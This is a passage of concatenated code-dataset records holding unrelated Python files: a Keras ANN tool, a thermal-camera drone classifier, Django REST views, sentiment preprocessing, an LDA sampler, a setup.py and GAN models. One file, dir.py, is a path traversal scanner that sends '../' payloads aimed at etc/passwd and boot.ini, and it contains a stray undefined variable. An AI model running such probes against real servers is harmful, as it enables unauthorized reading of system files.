때, 파일 불러오기\n print('You have selected Practice mode.\\n')\n self._LoadPracticeData()\n\n def _LoadExampleData(self): # 예제데이터를 불러오는 함수\n url = 'https://raw.githubusercontent.com/Seo-Junh0/first-git/master/NiFeCr_Total_Hardness.csv' # 예제데이터 위치(깃허브)\n self.dataset = pd.read_csv(url, index_col=0) # csv 형식의 예제데이터를 데이터프레임 형태로 불러오기 \n\n def _LoadPracticeData(self):\n # 실습모드에서 파일불러오는 방법은 1. 로컬드라이브에서 불러오기 2. 구글드라이브에서 불러오기 두가지로 구성\n location=int(input('\\nNow where do you want to load your file from?\\n1. Local drive\\n2. Google drive\\n'))\n if location == 1:\n self._LocalData()\n elif location == 2:\n self._DriveData()\n\n def _LocalData(self):\n # 2. 구글드라이브에서 불러오기\n import pathlib\n from google.colab import files\n uploaded = files.upload()\n for fn in uploaded.keys():\n print('User uploaded file \"{name}\" with length {length} bytes'.format(name=fn, length=len(uploaded[fn])))\n import io\n self.dataset= pd.read_csv(io.BytesIO(uploaded[fn]), index_col=0)\n\n def _DriveData(self):\n # 1. 로컬드라이브에서 불러오기\n filepath=input(\"\\nInput your file path(in your google drive)\\n\")\n filename = filepath\n self.dataset= pd.read_csv(filename)\n\n def ScanData(self): # 불러온 데이터가 전부 유효하거나 숫자인지 확인하는 함수\n check_for_nan1 = self.dataset.isnull().values.any()\n df=self.dataset.apply(pd.to_numeric, errors = 'coerce')\n check_for_nan2 = df.isnull().values.any()\n if check_for_nan1==True:\n print('Warning! Some of your data is abnormal.')\n elif check_for_nan2==True:\n print('Caution! Your data contains a non-numeric format.')\n else :\n print(\"Your data is all numeric. So it's available.\")\n\nclass DataSelect:\n\n def __init__(self,dataset):\n self.dataset=dataset\n self.target_name=None\n self.feature_names= None\n self.selected_feature_names = None\n self.data_to_use=None\n\n def TargetSelect(self):\n index=int(input(\"Column number of the target variable : \"))-1\n self.target_name=self.dataset.columns[index] # target_index를 ��해 타겟 변수의 이름 구하기\n self.feature_data=self.dataset.drop(self.target_name, axis=1) # 데이터에서 타겟 변수 열을 제외하기\n self.feature_names=list(self.feature_data.columns) # 타겟 변수를 제외한 특징들의 이름 리스트\n print(\"You chose '%s' as the target variable.\\n\"%self.target_name)\n\n def FeatureSelect(self):\n selected_feature_indexs=input('Enter the index of features you want to use among the above features (Use \",\" to separate each index number) : \\n').split(',')\n self.selected_feature_names = [self.feature_names[((int (i))-1)] for i in selected_feature_indexs] # 구한 인덱스 값으로 해당 선택된 특징의 이름 구하여 리스트 만들기\n print(\"You chose %s as the input feature.\\n\"%self.selected_feature_names)\n \n def PearsonHeatmap(self):\n pearson = self.dataset.corr(method = 'pearson') # 데이터의 각 특징 간의 피어슨 상관계수 구하기\n plt.figure(figsize = (8,8)) # 상관계수 그림 크기 설\n sns_plot_pearson = sns.heatmap(pearson.apply(lambda x: x ** 2), square=True, cmap='Reds') # 상관계수 값의 제곱한 값을 기준으로 히트맵이미지 그리기\n sns_plot_pearson.set_title('The Table for Correlation')\n\n def ScatterPlot(self):\n # 이름 앞에 인덱스 변호 추가 하기\n total_range=[]\n feature_data=self.dataset.drop(self.target_name, axis=1) # 데이터에서 타겟 변수 열을 제외하기\n for i in range(1,self.dataset.shape[1]):\n total_range.append(str(i)+\". \"+self.feature_names[i-1])\n feature_data.columns=total_range\n # 타겟 변수와 특징 사이의 산점도 나타내기\n feature_data[self.target_name]=self.dataset[self.target_name].values\n column=5\n part=(len(total_range)-1)//column\n for i in range(0,part):\n sns_scatterplot=sns.pairplot(data=feature_data, diag_kind=\"kde\", x_vars=total_range[i*column:(i+1)*column], y_vars=[self.target_name])\n if i==0:\n sns_scatterplot.fig.subplots_adjust(top=0.9)\n sns_scatterplot.fig.suptitle(\"The Graph for Linearity (between '%s' and remaining features)\"%self.target_name)\n sns_scatterplot=sns.pairplot(data=feature_data, diag_kind=\"kde\", x_vars=total_range[part*column:], y_vars=[self.target_name])\n\n def ExtractDataToUse(self):\n self.data_to_use=self.dataset.loc[:,self.selected_feature_names+[self.target_name]] # 선택된 특징과 타겟 변수로 구성된 데이터 만들기\n return self.data_to_use # 선택된 특징와 타겟 변수로만 이루어진 데이터 확인하기\n\nclass PrintDot(keras.callbacks.Callback):\n def on_epoch_end(self, epoch, logs):\n if epoch % 100 == 0: print('')\n print('.', end='')\n\nclass ANN:\n\n activfunc_list=['softmax','sigmoid', 'tanh', 'relu', 'elu'] # 지원하는 활성화 함수 리스트\n optimizerfunc_list=[keras.optimizers.SGD(lr=0.01, momentum=0.0, decay=0.0, nesterov=False),\n keras.optimizers.RMSprop(lr=0.001, rho=0.9, epsilon=None, decay=0.0),\n keras.optimizers.SGD(lr=0.01, momentum=0.9, decay=0.0, nesterov=True),\n keras.optimizers.Nadam(lr=0.002, beta_1=0.9, beta_2=0.999, epsilon=None, schedule_decay=0.004)] # 지원하는 최적화 함수 리스트\n\n lossfunc=['mse','categorical_crossentropy']\n outlayer_activfunc_list=['linear','softmax']\n metrics=[['mae','mse'],['accuracy', tf.keras.metrics.Recall(), tf.keras.metrics.Precision()]]\n\n def __init__(self, data_to_use, target_name):\n self.purpose=int(input(\"Which model do you want to create, classification or regression?\\n1.Regression 2.Classification\\n\"))-1\n\n fraction=float(input('Proportion of Train Data you want(e.g. 0.8) : '))\n # 훈련용과 평가용 데이터를 나눌 비율을 입력받고, 해당 비율로 나누기\n Train_set=data_to_use.sample(frac=fraction,random_state=0).sample(frac=1)\n Test_set=data_to_use.drop(Train_set.index).sample(frac=1)\n # 나눠진 두 데이터셋에서 타겟 변수 분리하기\n Train_labels = pd.DataFrame(Train_set.pop(target_name))\n Test_labels = pd.DataFrame(Test_set.pop(target_name))\n # 타겟 변수(레이블) 인코딩, 타겟변수가 분리된 두 데이터셋 정규화,\n \n self.number_of_hidden=None\n self.setup_data=[]\n\n self.model=None\n self.history=None\n self.optimizer=None\n\n self.train_data=Train_set\n self.train_labels=pd.get_dummies(Train_labels) if self.purpose else Train_labels\n self.test_data=Test_set\n self.test_labels=pd.get_dummies(Test_labels) if self.purpose else Test_labels\n \n def SetUp(self):\n self.number_of_hidden=int(input('\\nThe number of hidden layers you want to add to the model : ')) # 원하는 은닉층 수 입력\n # 입력층에 쓰일 활성화 함수 입력\n print('\\nThe Input Layer')\n temp=[self._WhichActivfunc(),len(self.train_data.keys())]\n self.setup_data.append(temp)\n # 은닉층에 쓰일 활성화 함수와 노드 수 입력\n for i in range(self.number_of_hidden):\n print('\\nThe Hidden Layer %i'%(i+1)) # 입력받은 은닉층 수만큼 프린트\n temp=[self._WhichActivfunc(),int(input('Number of nodes : '))]\n self.setup_data.append(temp)\n print('\\nThe Outer Layer\\n')\n\n def _WhichActivfunc(self):\n hiddenlayer_activfunc=int(input('Activation function (1.Softmax 2.Sigmoid 3.tanh 4.ReLU 5.ELU) : '))-1 # 각각의 활성화 함수 번호 입력\n return ANN.activfunc_list[hiddenlayer_activfunc]\n\n def DesignLayer(self):\n self.model=keras.Sequential()\n for i in range(self.number_of_hidden+1): # 층 수만큼 반복\n self.model.add(layers.Dense(self.setup_data[i][1], activation=self.setup_data[i][0])) # 입력받은 노드의 개수와 활성화 함수를 바탕으로 층 추가\n self.model.add(layers.Dense(len(self.train_labels.keys()),activation=ANN.outlayer_activfunc_list[self.purpose])) # 출력층 구성\n optimizer_num=int(input(\"Which optimization function will you use?\\n1.Gradient descent\\n2.RMSprop\\n3.NAG\\n4.NAdam\\n\"))-1\n self.model.compile(loss=ANN.lossfunc[self.purpose], optimizer=ANN.optimizerfunc_list[optimizer_num], metrics=ANN.metrics[self.purpose]) # 오차를 측정하는 방법으로 mae와 mse를 사용\n\n def _Norm(self,x): # 열 별로 정규화해주는 함수\n train_stats=x.describe() # 데이터 x의 기본적인 통계값 계산하여 train_stats에 저장\n train_stats = train_stats.transpose()\n return (x - train_stats['mean']) / train_stats['std'] # 그중 평균과 분산을 이용하여 정규화\n\n def Train(self):\n # 원하는 반복 횟수 입력\n EPOCHS = int(input('\\nNumber of times to repeat model training (Epoch) : '))\n # 입력받은 반복 횟수만큼 학습\n self.history = self.model.fit(\n self._Norm(self.train_data), self.train_labels,\n epochs=EPOCHS, validation_split = 0.2, verbose=0, validation_data=(self._Norm(self.train_data), self.train_labels),\n callbacks=[PrintDot()]) # 무작위로 검증데이터를 20% 선택하여 학습 진행\n\n def PlotByEpoch(self):\n hist = pd.DataFrame(self.history.history) # 반복 횟수별로 검증정확도를 데이터프레임 형태로 바꾸기\n hist['epoch'] = self.history.epoch # epoch 값 나타내는 열 추가\n\n plt.figure(figsize=(6,4)) # 그래프 크기 설정\n\n plt.xlabel('Epoch') # x축 이름 붙이기\n plt.ylabel('Loss') # y축 이름 붙이기\n plt.plot(hist['epoch'], hist['loss'],\n label='Train Error') # 학습데이터를 기준으로 정확도 채점했을 때 그래프\n plt.plot(hist['epoch'], hist['val_loss'],\n label = 'Val Error') # 검증데이터를 기준으로 정확도 채점했을 때 그래프\n plt.legend()\n \n def Evaluate(self):\n loss, *arg=self.model.evaluate(self._Norm(self.test_data), self.test_labels, verbose=2)\n if self.purpose:\n precision=arg[2]\n recall=arg[1]\n f1_score=2*(precision*recall)/(precision+recall)\n print('\\nLoss : {0}\\nAccuracy : {1}\\nF1-score : {2}'.format(loss, arg[0], f1_score))\n else:\n print('\\nMean Squared Error : {0}\\nMean Absolute Error : {1}'.format(loss, arg[0]))\n\n def ResultPlot(self):\n test_predictions = self.model.predict(self._Norm(self.test_data)).flatten() # 평가용 데이터를 이용해 예측값을 직접 구하기\n # 평가용 데이터를 이용해 구한 예측값을 평가용 레이블의 실측값과 비교하는 그래프 그리기\n plt.scatter(self.test_labels, test_predictions)\n plt.xlabel('True Values')\n plt.ylabel('Predictions')\n plt.axis('equal')\n plt.axis('square')\n plt.xlim([0,plt.xlim()[1]])\n plt.ylim([0,plt.ylim()[1]])\n _ = plt.plot([-100, 100], [-100, 100])\n\n def Save(self):\n ModelName=input(\"Name your model to save to 'ANN_Model' folder : \") # 모델 이름 입력\n keras_model_path = \"/content/drive/MyDrive/ANN_Model/%s\"%ModelName # 각자의 드라이브에 ANN_Model 폴더를 만들어 그 안에 저장\n self.model.save(keras_model_path) # 케라스 API 모델 저장\n","sub_path":"function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":11899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"410032888","text":"from datetime import datetime\n# datetime object containing current date and time\nimport time\nimport os\nimport numpy as np\nimport cv2\nfrom bmp280 import BMP280\nimport sys\n\nprint(cv2.__version__)\n\ntry:\n from smbus2 import SMBus\nexcept ImportError:\n from smbus import SMBus\n\nbus = SMBus(1)\nbmp280 = BMP280(i2c_dev=bus)\n\nclasses = ['negative','positive']\ndef predict(model2,resizeVar=None):\n model = cv2.dnn.readNet(model2)\n while(True):\n now = datetime.now()\n dt_string = now.strftime(\"%Y%m%d%H%M%S\")\n string = \"curl -XPOST -H 'Content-Type: application/json' -d '{\\\"type\\\":\\\"request\\\", \\\"action\\\": \\\"camera.ir.mlx90640.capture\\\", \\\"args\\\": {\\\"output_file\\\":\\\"~/img/%s.jpg\\\", \\\n \\\"scale_factor\\\":20, \\\"grayscale\\\": true}}' http://localhost:8008/execute\" % (dt_string)\n os.system(string)\n \n img = '/home/pi/img/%s.jpg' % (dt_string)\n img = cv2.imread(os.path.abspath(os.path.expanduser(img)))\n\n string = \"curl -XPOST -H 'Content-Type: application/json' -d '{\\\"type\\\":\\\"request\\\", \\\"action\\\": \\\"camera.ir.mlx90640.capture\\\", \\\"args\\\": {\\\"output_file\\\":\\\"~/colorimg/%s.jpg\\\", \\\n \\\"scale_factor\\\":20}}' http://localhost:8008/execute\" % (dt_string)\n os.system(string)\n color = '/home/pi/colorimg/%s.jpg' % (dt_string)\n color = cv2.imread(os.path.abspath(os.path.expanduser(color)))\n \n img = cv2.dnn.blobFromImage(img, size=tuple(resizeVar), mean=0.5)\n model.setInput(img)\n output = model.forward()\n prediction = int(np.argmax(output))\n \n if classes:\n prediction = classes[prediction]\n \n #temperature = bmp280.get_temperature()\n #pressure = bmp280.get_pressure()\n #altitude = bmp280.get_altitude()\n \n imgPath = '/home/pi/img/%s.jpg' % (dt_string)\n img = cv2.imread(os.path.abspath(os.path.expanduser(imgPath)))\n colorPath = '/home/pi/colorimg/%s.jpg' % (dt_string)\n color = cv2.imread(os.path.abspath(os.path.expanduser(colorPath)))\n \n font = cv2.FONT_HERSHEY_SIMPLEX\n bottomLeftCornerOfText = (0,50)\n fontScale = 0.5\n fontColor = (0,0,0)\n lineType = 2\n \n #listVal = [prediction, str(round(temperature,2)), str(round(pressure,2)), str(round(altitude,2))]\n cv2.putText(color,prediction, \n bottomLeftCornerOfText, \n font, \n fontScale,\n fontColor,\n lineType)\n \n numpy_horizontal = np.hstack((color, img))\n #cv2.namedWindow(\"Numpy Horizontal\", cv2.WINDOW_NORMAL)\n #cv2.setWindowProperty(\"Numpy Horizontal\",cv2.WND_PROP_AUTOSIZE,cv2.WINDOW_NORMAL)\n \n cv2.imshow('Numpy Horizontal', numpy_horizontal)\n cv2.waitKey(10)\n \n os.remove(imgPath)\n os.remove(colorPath)\n \n print(prediction)\n\n\n\npb_file = '/home/pi/Desktop/CEG-Capstone/drone/InfraredCamModel.pb'\npb_file = os.path.abspath(os.path.expanduser(pb_file))\n\n# Read the graph.\npredict(pb_file, [24,32])\n\n# allow the camera to warmup\n\n","sub_path":"drone/ThermalCamFeed.py","file_name":"ThermalCamFeed.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"485370714","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.http import HttpResponse, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\n#from rest_framework.renderers import JSONRenderer\nfrom rest_framework.parsers import JSONParser\nfrom .models import RentalCarInfo\nfrom .serializers import RentalCarSerializer\n\n\n@csrf_exempt\ndef RentalCar_list(request):\n if request.method == 'GET':\n RentalCars = RentalCarInfo.objects.all()\n serializer = RentalCarSerializer(RentalCars, many=True)\n print(\"RentalCar_list---GET\")\n return JsonResponse(serializer.data, safe=False)\n\n elif request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = RentalCarSerializer(data=data)\n print(\"RentalCar_list---POST\")\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data, status=201)\n return JsonResponse(serializer.errors, status=400)\n\n@csrf_exempt\ndef RentalCar_detail(request, pk):\n try:\n RentalCar = RentalCarInfo.objects.get(pk=pk)\n except RentalCarInfo.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n serializer = RentalCarSerializer(RentalCar)\n return JsonResponse(serializer.data)\n\n elif request.method == 'PUT':\n data = JSONParser().parse(request)\n serializer = RentalCarSerializer(RentalCar, data=data)\n if serializer.is_valid():\n serializer.save()\n return JsonResponse(serializer.data)\n return JsonResponse(serializer.errors, status=400)\n\n elif request.method == 'DELETE':\n RentalCar.delete()\n return HttpResponse(status=204)\n\n","sub_path":"django_rest_framework/EastcarServer/eastcar/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"448962653","text":"import nltk\r\nfrom nltk.tokenize import word_tokenize # works like string.split()\r\nimport numpy as np\r\nimport random\r\nimport pickle\r\nfrom collections import Counter\r\nfrom nltk.stem import WordNetLemmatizer\r\n\r\nlemmatizer = WordNetLemmatizer() # takes similar words like run ran running and converts them to a single element\r\nhm_lines = 100000\r\n\r\ndef create_lexicon(pos,neg):\r\n\r\n\tlexicon = []\r\n\twith open(pos,'r') as f:\r\n\t\tcontents = f.readlines()\r\n\t\tfor l in contents[:hm_lines]:\r\n\t\t\tall_words = word_tokenize(l)\r\n\t\t\tlexicon += list(all_words) # make a list of all words ( tokenize) and then add them to the lexicon\r\n\r\n\twith open(neg,'r') as f:\r\n\t\tcontents = f.readlines()\r\n\t\tfor l in contents[:hm_lines]:\r\n\t\t\tall_words = word_tokenize(l)\r\n\t\t\tlexicon += list(all_words)\r\n\r\n\tlexicon = [lemmatizer.lemmatize(i) for i in lexicon]\r\n\tw_counts = Counter(lexicon)\r\n\tl2 = []\r\n\tfor w in w_counts:\r\n\t\t#print(w_counts[w])\r\n\t\tif 1000 > w_counts[w] > 50: # only take the words which mean something to us. taking words like 'the' 'and' etc wont be useful \r\n\t\t\tl2.append(w)\r\n\tprint(len(l2))\r\n\treturn l2\r\n\r\n\r\n\r\n\r\n\r\ndef sample_handling(sample,lexicon,classification):\r\n\r\n\tfeatureset = []\r\n\r\n\twith open(sample,'r') as f:\r\n\t\tcontents = f.readlines()\r\n\t\tfor l in contents[:hm_lines]:\r\n\t\t\tcurrent_words = word_tokenize(l.lower())\r\n\t\t\tcurrent_words = [lemmatizer.lemmatize(i) for i in current_words]\r\n\t\t\tfeatures = np.zeros(len(lexicon)) # makes a 0 array [ 0 0 0 0 0 .......]\r\n\t\t\tfor word in current_words:\r\n\t\t\t\tif word.lower() in lexicon:\r\n\t\t\t\t\tindex_value = lexicon.index(word.lower())\r\n\t\t\t\t\tfeatures[index_value] += 1\r\n\r\n\t\t\tfeatures = list(features)\r\n\t\t\tfeatureset.append([features,classification])\r\n\r\n\treturn featureset\r\n\r\n\r\n\r\ndef create_feature_sets_and_labels(pos,neg,test_size = 0.1):\r\n\tlexicon = create_lexicon(pos,neg)\r\n\tfeatures = []\r\n\tfeatures += sample_handling('pos.txt',lexicon,[1,0])\r\n\tfeatures += sample_handling('neg.txt',lexicon,[0,1])\r\n\trandom.shuffle(features)\r\n\tfeatures = np.array(features)\r\n\r\n\ttesting_size = int(test_size*len(features))\r\n\r\n\ttrain_x = list(features[:,0][:-testing_size]) #last 10% #### the features are = [[ [ 0 1 1 0 0 1] [ 1 0] ]]\r\n\ttrain_y = list(features[:,1][:-testing_size]) # ^ feature ^ label\r\n\ttest_x = list(features[:,0][-testing_size:]) #first 90% or till the last 10% #### so here the [0:, 1] extracts all the features from the featuresets\r\n\ttest_y = list(features[:,1][-testing_size:])\r\n\r\n\treturn train_x,train_y,test_x,test_y\r\n\r\n\r\nif __name__ == '__main__':\r\n\ttrain_x,train_y,test_x,test_y = create_feature_sets_and_labels('pos.txt','neg.txt')\r\n\t# if you want to pickle this data:\r\n\twith open('sentiment_set.pickle','wb') as f:\r\n\t\tpickle.dump([train_x,train_y,test_x,test_y],f)\r\n","sub_path":"sentiment_neuralnet.py","file_name":"sentiment_neuralnet.py","file_ext":"py","file_size_in_byte":2804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"5322349","text":"from setuptools import setup, find_packages\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(path.join(here, 'README.md'), encoding='utf-8') as f:\n long_description = f.read()\n\n\nsetup(\n name='holey',\n\n version='2018.11',\n\n description='Geometry predicates written in python, optimised with numba',\n\n long_description=long_description,\n long_description_content_type='text/markdown',\n\n url='https://github.io/pelson/holey',\n\n author='Phil Elson',\n\n author_email='pelson.pub@gmail.com',\n\n # For a list of valid classifiers, see https://pypi.org/classifiers/\n classifiers=[\n 'Development Status :: 3 - Alpha',\n\n 'Intended Audience :: Science/Research',\n 'Topic :: Scientific/Engineering :: GIS',\n\n 'License :: OSI Approved :: BSD License',\n\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n ],\n\n keywords='geometry polygon shapely triangulation rasterization',\n\n packages=find_packages(exclude=['examples']),\n install_requires=[\n 'numba',\n 'numpy'],\n\n extras_require={\n 'test': ['coverage', 'pytest'],\n },\n project_urls={\n 'Source': 'https://github.com/pelson/holey/',\n },\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"507497109","text":"import numpy as np\nimport scipy.sparse as sparse\nfrom numba import njit, prange\nimport scipy.special as sc\nimport matplotlib.pyplot as plt\nimport time\n\n\ndef train(doc_word_mat, n_topics, alpha, beta, n_iter, plot_likelihood=False, plot_file=''):\n \"\"\"\n trains a Latent Dirichlet Allocation (LDA) model.\n Args:\n doc_word_mat: document word matrix of a corpus\n n_topics: number of topics for the model\n alpha: hyperparameter of the model\n beta: hyperparameter of the model\n plot_likelihood: whether to plot likelihood function against number of iterations\n Returns:\n likelihood function value when the training stops\n word_given_topic matrix\n topic_given_doc matrix\n \"\"\"\n N = np.sum(doc_word_mat.data)\n n_docs = doc_word_mat.shape[0]\n vocab_size = doc_word_mat.shape[1]\n n_topics = n_topics\n\n doc = np.repeat(doc_word_mat.row, doc_word_mat.data)\n word = np.repeat(doc_word_mat.col, doc_word_mat.data)\n topic = np.random.randint(0, n_topics, N)\n prob = np.zeros((n_topics))\n\n topic_doc = np.zeros((n_topics, n_docs))\n word_topic = np.zeros((vocab_size, n_topics))\n topic_count = np.zeros((n_topics))\n initialize(N, topic_doc, word_topic, topic_count, doc, word, topic)\n\n # for plotting the likelihood for monitoring\n if plot_likelihood:\n n_points = 400\n step = n_iter // n_points\n iterations = [step * (i + 1) for i in range(n_points)]\n likelihoods = []\n for _ in range(n_points):\n gibbs_sampling(N, vocab_size, n_topics, doc, word, topic, prob,\n topic_doc, word_topic, topic_count, alpha/n_topics, beta, step)\n likelihoods.append(-np.mean(sc.gammaln(word_topic + beta).sum(axis=0)\n - sc.gammaln(topic_count + vocab_size * beta)))\n plt.figure()\n plt.xlabel('Iterations')\n plt.ylabel('Negative Log Likelihood')\n plt.plot(iterations, likelihoods)\n plt.savefig(plot_file)\n else:\n gibbs_sampling(N, vocab_size, n_topics, doc, word, topic, prob,\n topic_doc, word_topic, topic_count, alpha/n_topics, beta, n_iter)\n\n likelihood = np.mean(sc.gammaln(word_topic + beta).sum(axis=0) - sc.gammaln(topic_count + vocab_size * beta))\n word_given_topic = (word_topic + beta) / (topic_count + vocab_size * beta)\n topic_given_doc = (topic_doc + alpha) / (topic_doc.sum(axis=0) + n_topics * alpha)\n\n return likelihood, word_given_topic, topic_given_doc\n\n@njit\ndef initialize(N, topic_doc, word_topic, topic_count, doc, word, topic):\n for i in range(N):\n topic_doc[topic[i], doc[i]] += 1\n word_topic[word[i], topic[i]] += 1\n topic_count[topic[i]] += 1\n\n\n@njit\ndef gibbs_sampling(N, vocab_size, n_topics, doc, word, topic, prob,\n topic_doc, word_topic, topic_count, alpha, beta, n_iter):\n # Perform n_iter Gibbs sampling iterations\n for _ in range(n_iter):\n for i in range(N):\n # Compute counts with word i removed from dataset\n topic_doc[topic[i], doc[i]] -= 1\n word_topic[word[i], topic[i]] -= 1\n topic_count[topic[i]] -= 1\n\n # Compute probability of each topic for word i\n for k in range(n_topics):\n prob[k] = (topic_doc[k, doc[i]] + alpha) * (word_topic[word[i], k] + beta)\n prob[k] /= topic_count[k] + vocab_size * beta\n for k in range(1, n_topics):\n prob[k] += prob[k-1]\n\n # Sampling\n u = np.random.rand()\n\n k_low, k_up = -1, n_topics\n while k_up - k_low > 1:\n k_mid = (k_up + k_low) // 2\n if u < prob[k_mid] / prob[n_topics - 1]:\n k_up = k_mid\n else:\n k_low = k_mid\n topic[i] = k_up\n\n # Compute counts with word i included in dataset\n topic_doc[topic[i], doc[i]] += 1\n word_topic[word[i], topic[i]] += 1\n topic_count[topic[i]] += 1\n","sub_path":"lda.py","file_name":"lda.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"231624475","text":"import requests\nimport argparse\n\n\npayloads = {\n \"etc/passwd\": \"root\",\n \"boot.ini\": \"[boot loader]\"\n}\n\nup_dir = \"../\"\n\n\ndef traversal(url, n):\n try:\n for payload, string in payloads.items():\n for x in range(n):\n res = requests.post(url=url+(up_dir*x)+payload)\n\n if string in res.text:\n print(\"[*] Found Vulnerable\\r\\n\")\n print(f\"[*] Attack string {(i*up_dir)+payload}\")\n print(res.text)\n break\n except Exception as e:\n print(f\"[!] exception {e}\")\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--count\", action=\"store\", dest=\"count\", type=int)\n parser.add_argument(\"--url\", action=\"store\", dest=\"url\", type=str)\n\n options = parser.parse_args()\n\n if options.url is None and options.count is None:\n parser.print_usage()\n parser.print_help()\n else:\n traversal(options.url, options.count)\n\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"dir.py","file_name":"dir.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"405382652","text":"import torch\nimport torch.nn as nn\nimport torchgan.layers as tgl\n\nimport config as c\nfrom minibatchdiscr import MiniBatchDiscrimination\n\n\n# custom weights initialization called on netG and netD\ndef weights_init(m):\n classname = m.__class__.__name__ \n if classname.find('Conv') != -1:\n nn.init.normal_(m.weight.data, 0.0, 0.05)\n elif classname.find('BatchNorm') != -1:\n nn.init.normal_(m.weight.data, 0.0, 0.05)\n nn.init.constant_(m.bias.data, 0)\n \n \n# Generator Code\nclass Generator(nn.Module):\n def __init__(self):\n super(Generator, self).__init__()\n self.convtrans1 = nn.Sequential(\n # input is Z, going into a convolution\n nn.ConvTranspose2d(c.nz, c.ngf * 16, c.kg, 1, 1, bias=False),\n nn.BatchNorm2d(c.ngf * 16),\n nn.ReLU(True))\n #nn.LeakyReLU(0.2, inplace=True))\n # state size. (ngf*16) x 3 x 3\n self.convtrans2 = nn.Sequential(\n nn.ConvTranspose2d(c.ngf * 16, c.ngf * 8, c.kg, 2, 2, 1, bias=False),\n nn.BatchNorm2d(c.ngf * 8),\n nn.ReLU(True))\n #nn.LeakyReLU(0.2, inplace=True))\n # state size. (ngf*8) x 6 x 6\n self.convtrans3 = nn.Sequential(\n nn.ConvTranspose2d(c.ngf * 8, c.ngf * 4, c.kg, 2, 2, 1, bias=False),\n nn.BatchNorm2d(c.ngf * 4),\n nn.ReLU(True))\n #nn.LeakyReLU(0.2, inplace=True))\n # state size. (ngf*4) x 12 x 12\n self.convtrans4 = nn.Sequential(\n nn.ConvTranspose2d(c.ngf * 4, c.ngf * 2, c.kg, 2, 2, 1, bias=False),\n nn.BatchNorm2d(c.ngf * 2),\n nn.ReLU(True))\n #nn.LeakyReLU(0.2, inplace=True))\n # state size. (ngf) x 24 x 24\n self.convtrans5 = nn.Sequential(\n nn.ConvTranspose2d(c.ngf * 2, c.ngf, c.kg, 2, 2, 1, bias=False),\n nn.BatchNorm2d(c.ngf),\n nn.ReLU(True))\n #nn.LeakyReLU(0.2, inplace=True))\n # state size. (ngf) x 48 x 48\n self.convtrans6 = nn.Sequential(\n nn.ConvTranspose2d(c.ngf, c.nc, c.kg, 2, 2, 1, bias=False))\n self.activationG = nn.Tanh()\n \n # state size. (nc) x 96 x 96)\n \n \n def forward(self, inp):\n x = self.convtrans1(inp)\n x = self.convtrans2(x)\n x = self.convtrans3(x)\n x = self.convtrans4(x)\n x = self.convtrans5(x)\n last_conv_out = self.convtrans6(x)\n tanh_out = self.activationG(last_conv_out)\n return tanh_out\n\n\n# Discriminator Code\n# kernel_size = 5\nclass Discriminator(nn.Module):\n def __init__(self):\n super(Discriminator, self).__init__()\n self.conv1 = nn.Sequential(\n # input is (nc) x 96 x 96\n nn.Conv2d(c.nc, c.ndf, c.kd, 2, 2, bias=False),\n nn.BatchNorm2d(c. ndf),\n nn.LeakyReLU(0.2, inplace=True))\n # state size. (ndf) x 48 x 48\n self.conv2 = nn.Sequential(\n nn.Conv2d(c.ndf, c.ndf * 2, c.kd, 2, 2, bias=False),\n nn.BatchNorm2d(c.ndf * 2),\n nn.LeakyReLU(0.2, inplace=True))\n # state size. (ndf*2) x 24 x 24\n self.conv3 = nn.Sequential(\n nn.Conv2d(c.ndf * 2, c.ndf * 4, c.kd, 2, 2, bias=False),\n nn.BatchNorm2d(c.ndf * 4),\n nn.LeakyReLU(0.2, inplace=True))\n # state size. (ndf*4) x 12 x 12\n self.conv4 = nn.Sequential(\n nn.Conv2d(c.ndf * 4, c.ndf * 8, c.kd, 2, 2, bias=False),\n nn.BatchNorm2d(c.ndf * 8),\n nn.LeakyReLU(0.2, inplace=True))\n # state size. (ndf*8) x 6 x 6\n #self.conv5 = nn.Sequential(\n # nn.Conv2d(c.ndf * 8, c.ndf * 16, c.kd, 2, 2, bias=False),\n # nn.BatchNorm2d(c.ndf * 16),\n # nn.LeakyReLU(0.2, inplace=True))\n # state size. (ndf*16) x 3 x 3\n #self.conv6 = nn.Conv2d(c.ndf * 16, 1, c.kd, 2, 1, bias=False)\n if c.mbdiscr: \n self.conv5 = nn.Sequential(\n nn.Conv2d(c.ndf * 8, 50, c.kd, 2, 1, bias=False))\n #self.conv6 = nn.Conv2d(c.ndf * 16, 1, c.kd, 2, 1, bias=False)\n self.lin1 = nn.Linear(200, 200)#nn.Linear(200, 100) \n self.mbd = tgl.MinibatchDiscrimination1d(200, 100)#tgl.MinibatchDiscrimination1d(100,50) \n self.lin2 = nn.Linear(300, 1)#nn.Linear(150, 1) \n else:\n self.conv5 = nn.Sequential(\n nn.Conv2d(c.ndf * 8, c.ndf * 16, c.kd, 2, 2, bias=False),\n nn.BatchNorm2d(c.ndf * 16),\n nn.LeakyReLU(0.2, inplace=True))\n self.conv6 = nn.Conv2d(c.ndf * 16, 1, c.kd, 2, 1, bias=False)\n self.activationD = nn.Sigmoid()\n\n \n def forward(self, inp): \n x = self.conv1(inp)\n x = self.conv2(x)\n x = 